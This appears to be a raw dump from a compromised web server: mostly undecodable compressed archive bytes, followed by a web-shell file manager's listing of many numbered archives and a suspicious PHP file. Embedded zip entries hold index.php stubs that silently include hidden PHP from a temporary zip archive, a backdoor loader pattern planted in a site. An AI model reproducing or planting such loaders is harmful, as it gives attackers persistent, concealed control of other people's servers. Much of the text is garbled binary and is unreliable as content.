�[��-��}M�vdJ�jA+���>���7�GZ�4(�843-�/nq��D;y���)#տ{_�u�@A�f�l���1�����č2�47:���YL�;T���d�����^Q3[�;ƨw�&[���aɐ��O����H�()�z�L'1��뼭��4���j�K���"�����5��0�0���,�B������u�k�0n�;�Ȭ�p.ɩk���}r|v3�P��‚���_�b�aݘY��S�~S��������^�*�����+t}��L��޻�S�:�BH��F����C"`�a�C�f~�;7QY���^�&R�x^�n�cqy�eZ�����H��ͬUF�3��Z�_�lAqx';�KW���E@=��/�\G����F�������}�D������Q�d��
P?33�b|:�y�7~���?���z���]/QMgF�% �r*Y‡Z��	�X��l��D1������_6e��u�u��Ĕ0g�H/�9Y�Ԇ�u����vz!= 9���@1�=/�{q<�WB��
��WN�f����vL,�#0ǁ,#Pn]h4"�|�f1{ӱ-s�G���U sF����p0�ʟx��v{���tq�D.P�P�t�v/�l3'��9�پ�z�I5k�v����ֲ�;c��j��>�X�	�U�
��~{�d�x�g�7��Z�p��\�KƩR�*�L[�]�'�l��J��l�;P��4��)���Q�9��)��$��cC����jK�@I�J&��U��Bs��f���9���fhxv��_��5Ň��B�=V�ڌ���ȍJ��A��Z�vQ�P��UD q���y��	@���q�}�t�1[��
}��h�_|����J��i6
��[n�P�� ���(��T*|�m��k�1j�2hSk�&��u���;[zF���L0���g"�ٙ}�W5X�;�Ų�Rl���*\%财'�& b:D+q���!I�o6��Jdg��C/:�랰�j�
$U!	*g	tW�R�w���]�5���u��%P�����al^�Y5��@^�(ܙ
S�T��,-y����K}
����������Ǵb��d���,���x�(�@�l<���,��(=oX�F�zX&_z�³&�����!�b-�@R��T��â��~C�����?�-�1�@&��q�fB�4�;�����=	7�'�q�	f4D*���zQ�3�h z��TR�v��F��3,͜9xVB�S-}��RA1Eq/��y�cH�J�����e'I�^�7�4���	$N�Z�p�KdBI�R�n�f:3���!;�J�i� ~Q������u��~�4����S<��%��"oxut�
Uv�?a��{WDA����0�ҍ���BH�n�Q�NTA7H��[�G�3��˛&�CJ*i��TǕe� ���a���a`���I�@j}O�$`S]��ZR�����k'�x2S�7dX%A#@A㐴q�e*ʔ=�����<޲��3��~f���'[K fzl��wx4P$�|F�(�ZW><����n��M
##�l:�����KTp��M���7iN����][y2'�P1���� �Kq��9�	�vPz�����Q����K��=J`�#�4�m�0�c�n��%������$V��M�]�-,s�+ZVx�%��~�[^s��8���ϴŨWL�2�5�д�N��0��ȹ���A����uVҩ���4C}Ϣ����D~2�Q�Y���&����$o�3��y
���E�j���nX��Djz��?&)y&��Nz�Uf�`��O�60.�;���e2���~���G�V�<�P1G+�X�8A�y�h˟B
x3&��[2��0��D[-{�bo�5�&B����1G�h5*��
���?�(�m�*]�������Pg��yz���x�W�(����
�ɝ��&%'����
&�۹�(�P��N��������I|�Vb���%@��NQ�1���b�4h**�Ra�M�]���H;��]����e��
2� EƲ(�O"0|����4�cHO_5�@a�(��t(��c%�&W.�7ml��|j�^ʐ�@εqS>⅀��I�����赠��i.�h�Y~�,7Z&��-ʟu�O��'|�[�
��te_��b�sE�}a�Ï�A��I�{k{��:�;���r��G�{��]�z��]�'��b��H���ˡ.�-q̃-�&A��J=��a��
��xUL��Dv �P��ƭɸ�-뉅��5*�Je������>���L��>�B{�}mO������A�����K	I���h���C���SA�/�'���V�l�}�#~�6�qQ�ФH�V���X���wU���,�D�y`_kc�A2CZG��l�Y;nM:5ȹ����`h�XF�̞��~/ˎK_T�sS�SG)�F���>�5��=�7T�q
����\��A�(ښ�kZ�t���hfcj�ZR�l�3R�pYvZ%�HE4�s3�PZ�)l#q�ՌZ�a�>���F����n����y�>W�o4ސ#��>��/;�����vyC��[rH�,|��lnFS�+�\���������o��^w�?�������^<�4�z��Rk��,Go�ي��[�—RAz(��<k���f}"-=�&;�_�
:��w�Q�1�U?[����t����k=�v�-e�z}��Pe��3
�Z3��g��#��5c2�rcM�V_t�΍)�K�R-҉�b�3��O�
C�nx�3�l���\
$e�a��8�����
C�I)H�߫xT�a�h���%����
��Bs4���K4�<�2aD�3�cN>��v|�i��u�c�/T,;�캳tL�ؼ%�Z�Yኮ�hřC�g\��+P�j~�>.���
����Y��m6Uk��Ȭ�u��	��Z�T��H~��>�v��R�Yb
?@J�B���p���J�g_�!}���\�k�F
��J����`[<U
��I���5<T
.��x�'�퟈�J${;��ux^m�d�E� nӏ@̈́���~����|<���R�A�H��ax���� �� Ŏ>:�����vHo�� ��dz�3~�\��J�[{tᢄv�#`sh��^�+������#�:�)�Q�;�l�&?A9�N����1�^��% R<A�O���0b/<�jУ<�"�/�ܠW�x�n|l�\�d�đ\�W~�����	�~�~��0r�c�\f�^C��Y ��OR8ϥ�o�TA3����-�P��T�9������15z.z�H�K���$i9:0/3��Sǐ70Vj��uSP?�	�%�8�:��c�p�ⅇ���������@�0���?�k�F�x9�ԕ�	�拝z���.>�UO�KL��w�v�y�W����i�F'\�[�u]P��>�]J��9;�g�5/������W_+x��?�#������#X��U熚sn�u��?�Qx����S�_�-��;�Kg�w?ƴ�Br�䧼���nL1����0%��O4�|�����{��Pz�1JP�?%���^�|	�v@}Coh����!�R@�)q�t�a�)�vyz��g]��x[)$����4����8���AD< ~�q8��O�_:�@�^�_���<���X=TP�%!�O�U:��6?@�,��s<��8p�0eD�#|��h|�
��E8|/�/��<)�i�/��S<zE
�G���-Q�,���0:�����O�d��1c�U���
��
#LS�U���#�|b�d�	���&f
�?��;~���[�@���a+�w�m��&N�:y�/��QV��u�0��/�.������3$/K��ޖ
}���2�u�1�D��#W�_���m��^�;FF����8G�piBE+�������`_��@ᦃxs��)z=��pD/g��vC/?���s�R������q��J�՘��>w����L:h�T���1�!���P��߮����K��N�����#b���Hқ"TS���J��'d����3�$z��Ӿt��<���\b�OJ��^RJxIo�g��p�s~��R>r=yq�庍p��^��ޡ�i8S����k!D�nC�����l�"�\d���E�����7�ı|���w�w�/I]j�� ���~[�.�C10��u@2!ԃ��I��Uz�/ֹ�U*sV���x��	?@����E�C78�C�a'�|	l���_|�1�&��L��P�
'�}���i��Ro�!�	?T
8�N���S����j���B�;����b�!�x���1Oq���? e�D�g;D�0X������\zF�]�g]!7�����"�>{�O�ψ�����Pn�М���]�?�Q����1�$~��1����^ I���݅�^�+ŧ?@����W�|풀{FA0�X�%��	�\�I�Ϥ�P�
?G�"5����$C��'���Y��!9�&�C�0f-����<oy4�.�\o_��&��w`�|��e"}+� m�Cx޾�C�]����c�׷�[�p�{����'~튺�3Q�
�}�W2�C�-O�_x	�}���=~��K�о7>�o�W���f��ln4��fk�٪4�7�˕��Fs��\�h�V�k͵J��F�I����\�����jm�Z���Fk��Z�h�U�ˍ�iG�_���iz�	1��u6:�db(%��B%U*�%ll�,y���{J�=�ە�v(g�5�.�Zˠ����MV�Hp�4�q�[�՗�
ۅ�	���(A9��eP	�1`Z�Bf8� I4��&;q��Y��AD��a�2��5Xb'U��~�l~R,�l�k| �D�Љ�����%��W��¥Zs�W-��~^�+*e;3X��	$t:E�����l�C~6�����"뚰���nH�W4�12c˙!#���P�K��L��h��y�%��5���W�N���V��G������JW�۳����#X􌊊�+�}�ǡ�fe��l=��eDnM�Lƺ��/�6�����$_����g���q��w���-�aj�!M�?���T��d�~�ίʔ�Twk�
s2��P�v���ˋ�ӽ��ɛs�RE(��H�Ry��p��qcl6U##�\g|�v�*�/��	t�aޅٴ#l���O��
����{td�9]ąs��5i�P����0�א��l����I}�U@g��cJǕ�6?�/�~pj]��:��R�M)�w��g��3g�r�<��ڰhewx*�aG'��l��"G�oይmܘ�Y�b�]�C�sDòF's5�vr����䭮<����U>{�[��6�x�t~�wh;�ͿyK䦺?�R��\v7�_f���d�'�����'�7w�D�����8����Gx�*6�kk�����ң2%�˨���n�uz��1(Fx��T��:�~��
�_�lլ����(z���L�	�� x���J��M�Jn�e�>Q#:�a6w�pn��:.�
��K�w�\̽Hv�MW��E�;��ݳ(�na>]i�V��Ncwg�ǝ������G/��uE����a~_�H/Mˣ���m����V4QkYiMiǹq�(,G����#z��=lY�wQ���n�F#�j�%�b�����M��[Ri�0�fw�Tw9N��:�2��`dπ��j�0T)�J�Ž��0•�&�g-5?*�tBC_�e�<D)uf�s�H&��'
 ��2rx����~q��3�"�#a��M����j^�o�9�
aI7��&�d�O��i��R�8L	�=�p��Z­�M�!�=xn8��D�T|���3��
��D>wǷn�Y��)T+G~��\V/�im�c�9s�G6���r ?c
N.�g�:�z�"�=NK����O#���c��m�']
2J�tI/��OnS
QYJ�6�����Pڜf�cx��҈�tˆ��ތS��"�17Fw��D��f^�B�����LZS3�n '���s��md�eGW�g�:��.���nJ\1��;N�6$�R����k��ka2
��lC{0葊m�,Ҳ]Rʝ:�)KeEz�!��s_oӬȟ��($�;�LI閇Nޤ�]�4�8���	�Sr(|�����y�+��c\��]�&�A�i���_��>)�a�qϒ��mRڜ�#<�ٯL�ee�p83�x
����	���L�S
�-���N0آH�B}�E�L���3�)ҳ
�S�3���CfN����lC{N�cZ�iG�'N�r�]|����m}���`��iԩ�Q�ԋ/���$n浵�_�Sc���9q���6� ߌu'i�O���V0H?�5�SF����i�K��i��
�B�)����3��\�ޤ�#V?덩Cg�4�:
��Ձ�b2�$�[�%�徜8C�0�8��!�F%�8m��&��4�q��O��� .���i��x҉Dt�M8H��Ydh�"2�:x35�{� L��D����5�KP�
��`�
����$-�a���D�nh&p��kk�L��������ٖ���N,ѩ�MSK�bk?���ҳͽr@L�#�H�6K����@*q�#�"Ž����_����>Ǒ��,-]"]^דC�'�����Tb�4s=/���a�ܞ�K���4���:��VWd����Z�h�ƅ��Ջ�p�4����e�0��HQ\���Y8~����HHRՅj�_63z1��vz5$�O�vkט$�,r���g���]Yc?���'��f2���TL޹�hX�ٚ��Ĉ%�a�B�G��a�����n��G�B��r��������;4���PFV�3���M�j=���j��j-"g�6SF�WN$��2'�B�d�}k0/�&�ش��)%ָb߾r�04�ֶU�񲱲C6V��m�O��;���}g�9۽��pG�����n���������>:^ם�����Ntt���vO(����-�~<�������WT�v$�����Ip�����oNe���y$�W���m�ь|����|\V�T��՛��m#�E!�w��m�~<wg�$�g9NY�K�at�����O}m���?�������U��r����~�����_�����PK!�����5wdpzt/zqe3bd.zipnu�[���PK!"m�ggg	index.phpnu�[���<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "xex.php"; include("zip:///tmp/phpgcuJge#$h");?>PK!"m�ggg	index.phpnu�[���PKI�PK!��ħ��5wdpzt/kxmgr2.zipnu�[���PK!
�gg	index.phpnu�[���<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "ppo.php"; include("zip:///tmp/phpgcuJge#$h");?>PK!
�gg	index.phpnu�[���PKI�PK!��)5wdpzt/kxmgr2.tarnu�[���PK!�m�%��A5wdpzt/zui1bd.zipnu�[���PK!�h�W�W���5wdpzt/zui1bd.tar.gznu�[���PK!�����3�5wdpzt/zqe3bd.zipnu�[���PK!��ħ��s�5wdpzt/kxmgr2.zipnu�[���PK���

Filemanager

Name Type Size Permission Actions
.mad-root.mad-root.tar.gz File 109 B 0644
.mad-root.tar File 1.5 KB 0644
100.tar File 278 KB 0644
100.tar.gz File 272.2 KB 0644
100.zip File 276.54 KB 0644
101.zip File 278.16 KB 0644
102.zip File 76.25 KB 0644
103.zip File 16.11 KB 0644
105.zip File 93.15 KB 0644
106.zip File 638.26 KB 0644
107.zip File 411.5 KB 0644
108.zip File 397.67 KB 0644
109.zip File 16.11 KB 0644
110.zip File 16.11 KB 0644
111.zip File 521.13 KB 0644
113.zip File 377.74 KB 0644
114.zip File 131.49 KB 0644
115.zip File 44.65 MB 0644
116.tar File 17.5 KB 0644
116.tar.gz File 12.97 KB 0644
116.zip File 16.11 KB 0644
118.zip File 316.25 KB 0644
119.zip File 274.68 KB 0644
12.zip File 1.77 MB 0644
120.zip File 117.63 KB 0644
121.zip File 272.58 KB 0644
122.zip File 255.11 KB 0644
123.zip File 16.11 KB 0644
124.zip File 467.87 KB 0644
125.zip File 110.09 KB 0644
126.zip File 248.06 KB 0644
127.zip File 676.72 KB 0644
128.zip File 192.81 KB 0644
129.zip File 160.14 KB 0644
13.zip File 1.05 MB 0644
130.zip File 32.71 KB 0644
131.zip File 32.71 KB 0644
133.zip File 638.85 KB 0644
134.zip File 16.11 KB 0644
137.zip File 270 B 0644
139.zip File 4.75 KB 0644
14.zip File 684.54 KB 0644
140.tar File 231 KB 0644
140.tar.gz File 86.13 KB 0644
140.zip File 227.34 KB 0644
142.zip File 244.18 KB 0644
143.zip File 172.83 KB 0644
144.zip File 95.05 KB 0644
145.zip File 239.39 KB 0644
146.zip File 424.49 KB 0644
147.zip File 121.76 KB 0644
149.zip File 48.8 KB 0644
15.zip File 558.21 KB 0644
150.zip File 416.94 KB 0644
151.zip File 126.44 KB 0644
152.zip File 91.93 KB 0644
153.zip File 91.88 KB 0644
154.zip File 546.85 KB 0644
155.zip File 527.43 KB 0644
156.tar File 678.5 KB 0644
156.tar.gz File 669.42 KB 0644
156.zip File 676.47 KB 0644
157.zip File 644.4 MB 0644
159.zip File 113.55 KB 0644
16.zip File 663.43 KB 0644
162.zip File 78.87 KB 0644
163.zip File 189.77 KB 0644
173.zip File 264.05 KB 0644
18.tar File 3 KB 0644
18.tar.gz File 1.53 KB 0644
18.zip File 1.55 KB 0644
181.tar File 34 KB 0644
181.tar.gz File 20.45 KB 0644
181.zip File 32.71 KB 0644
182.zip File 32.71 KB 0644
183.zip File 128.45 KB 0644
184.zip File 33.25 KB 0644
185.zip File 440.58 KB 0644
186.zip File 1.23 MB 0644
188.zip File 210.39 KB 0644
189.zip File 358.99 KB 0644
190.zip File 356.18 KB 0644
191.zip File 768.46 KB 0644
193.zip File 131.58 KB 0644
194.zip File 133.11 KB 0644
195.zip File 143.14 KB 0644
197.zip File 61.67 KB 0644
198.zip File 59.75 KB 0644
199.zip File 103.42 KB 0644
20.tar File 6 KB 0644
20.tar.gz File 1.36 KB 0644
20.zip File 3.85 KB 0644
200.zip File 218.21 KB 0644
202.zip File 1.15 MB 0644
207.zip File 1.24 MB 0644
209.zip File 1.23 MB 0644
21.zip File 272 B 0644
211.zip File 56.05 KB 0644
212.zip File 57.06 KB 0644
213.zip File 57.65 KB 0644
218.zip File 387 B 0644
219.zip File 775.48 KB 0644
224.zip File 142.65 KB 0644
225.zip File 96.21 KB 0644
226.zip File 76.67 KB 0644
227.zip File 76.98 KB 0644
228.zip File 526.67 KB 0644
23.zip File 61.7 KB 0644
230.zip File 451.42 KB 0644
231.zip File 757.82 KB 0644
232.zip File 101.42 KB 0644
235.zip File 452.75 KB 0644
237.zip File 73.25 KB 0644
239.zip File 167.79 KB 0644
24.zip File 1.75 KB 0644
240.tar File 98.5 KB 0644
240.tar.gz File 93.23 KB 0644
240.zip File 96.9 KB 0644
242.zip File 216.44 KB 0644
243.zip File 298.3 KB 0644
245.zip File 641.6 KB 0644
247.zip File 451.64 KB 0644
250.zip File 451.22 KB 0644
251.zip File 638.54 KB 0644
253.zip File 75.85 KB 0644
255.zip File 110.39 KB 0644
256.tar File 252.5 KB 0644
256.tar.gz File 216.95 KB 0644
256.zip File 250.87 KB 0644
257.zip File 209.12 KB 0644
280.zip File 215.64 KB 0644
281.tar File 42.5 KB 0644
281.tar.gz File 39.09 KB 0644
281.zip File 41.2 KB 0644
285.zip File 277.33 KB 0644
286.zip File 1.22 MB 0644
289.zip File 246.23 KB 0644
295.zip File 278.37 KB 0644
300.tar File 546.5 KB 0644
300.tar.gz File 325.93 KB 0644
300.zip File 544.88 KB 0644
302.zip File 550.84 KB 0644
303.zip File 283.84 KB 0644
304.zip File 279.32 KB 0644
306.zip File 124.43 KB 0644
307.zip File 79.08 KB 0644
31.zip File 161.23 KB 0644
314.zip File 101.77 KB 0644
317.zip File 745.54 KB 0644
318.zip File 104 KB 0644
319.zip File 48.6 KB 0644
32.zip File 270 B 0644
320.zip File 104.23 KB 0644
321.zip File 78.69 KB 0644
322.zip File 74.19 KB 0644
323.zip File 80.69 KB 0644
324.zip File 74.69 KB 0644
325.zip File 74.19 KB 0644
326.zip File 74.21 KB 0644
329.zip File 74.21 KB 0644
33.zip File 19.55 KB 0644
332.zip File 84.19 KB 0644
333.zip File 300.97 KB 0644
342.zip File 102.88 KB 0644
343.zip File 87.98 KB 0644
345.zip File 101.78 KB 0644
35.zip File 272 B 0644
350.zip File 226.23 KB 0644
352.zip File 688.32 KB 0644
353.zip File 240.4 KB 0644
356.zip File 96.18 KB 0644
357.zip File 103.16 KB 0644
36.zip File 216.17 KB 0644
363.zip File 149.72 KB 0644
38.tar File 280 KB 0644
38.tar.gz File 272.41 KB 0644
38.zip File 277.04 KB 0644
39.zip File 270 B 0644
40.tar File 278 KB 0644
40.tar.gz File 272.12 KB 0644
40.zip File 276.46 KB 0644
41.tar File 117 KB 0644
41.tar.gz File 105.7 KB 0644
41.zip File 115.65 KB 0644
42.zip File 377.32 KB 0644
43.zip File 185.83 KB 0644
44.tar File 380.5 KB 0644
44.tar.gz File 373.6 KB 0644
44.zip File 378.81 KB 0644
45.zip File 290.69 KB 0644
47.zip File 287.76 KB 0644
48.zip File 1.21 MB 0644
49.zip File 271.26 KB 0644
50.tar File 249 KB 0644
50.tar.gz File 179.96 KB 0644
50.zip File 246.16 KB 0644
51.zip File 605.34 KB 0644
52.zip File 304.62 KB 0644
53.zip File 570.94 KB 0644
54.zip File 140.2 KB 0644
55.zip File 52.46 KB 0644
56.zip File 52.31 KB 0644
58.tar File 169 KB 0644
58.tar.gz File 161.92 KB 0644
58.zip File 166.59 KB 0644
59.zip File 408.18 KB 0644
60.zip File 67.55 KB 0644
61.tar File 576.5 KB 0644
61.tar.gz File 556.56 KB 0644
61.zip File 575.18 KB 0644
62.zip File 457.29 KB 0644
65.zip File 638.78 KB 0644
68.zip File 578.42 KB 0644
69.tar File 102.5 KB 0644
69.tar.gz File 75.95 KB 0644
69.zip File 100.75 KB 0644
70.tar File 467.5 KB 0644
70.tar.gz File 399.08 KB 0644
70.zip File 464.96 KB 0644
71.zip File 64.08 KB 0644
73.zip File 32.71 KB 0644
74.tar File 34 KB 0644
74.tar.gz File 20.44 KB 0644
74.zip File 32.71 KB 0644
75.zip File 274.87 KB 0644
76.zip File 503.39 KB 0644
77.zip File 104.25 KB 0644
78.tar File 106 KB 0644
78.tar.gz File 95.03 KB 0644
78.zip File 103.95 KB 0644
79.zip File 1007.88 KB 0644
80.tar File 112 KB 0644
80.tar.gz File 105.07 KB 0644
80.zip File 110.35 KB 0644
81.zip File 162.98 KB 0644
82.zip File 186.72 KB 0644
83.zip File 76.13 KB 0644
85.zip File 1.03 MB 0644
86.zip File 447.23 KB 0644
87.zip File 20.08 MB 0644
88.tar File 29.5 KB 0644
88.tar.gz File 22.81 KB 0644
88.zip File 27.84 KB 0644
89.zip File 27.84 KB 0644
90.zip File 48.4 KB 0644
91.tar File 48 KB 0644
91.tar.gz File 42.5 KB 0644
91.zip File 45.83 KB 0644
94.tar File 100.5 KB 0644
94.tar.gz File 89.41 KB 0644
94.zip File 98.45 KB 0644
95.zip File 497.83 KB 0644
96.zip File 99.1 KB 0644
97.zip File 439.12 KB 0644
98.tar File 1.19 MB 0644
98.tar.gz File 344.9 KB 0644
98.zip File 1.19 MB 0644
99.zip File 277.01 KB 0644
ay4o2.php File 76.92 KB 0644
ay4o2.php.php.tar.gz File 24.2 KB 0644
ay4o2.php.tar File 78.5 KB 0644
temp.zip File 5.03 MB 0644
w2hfdj.tar File 182.5 KB 0644
w2hfdj.tar.gz File 76.36 KB 0644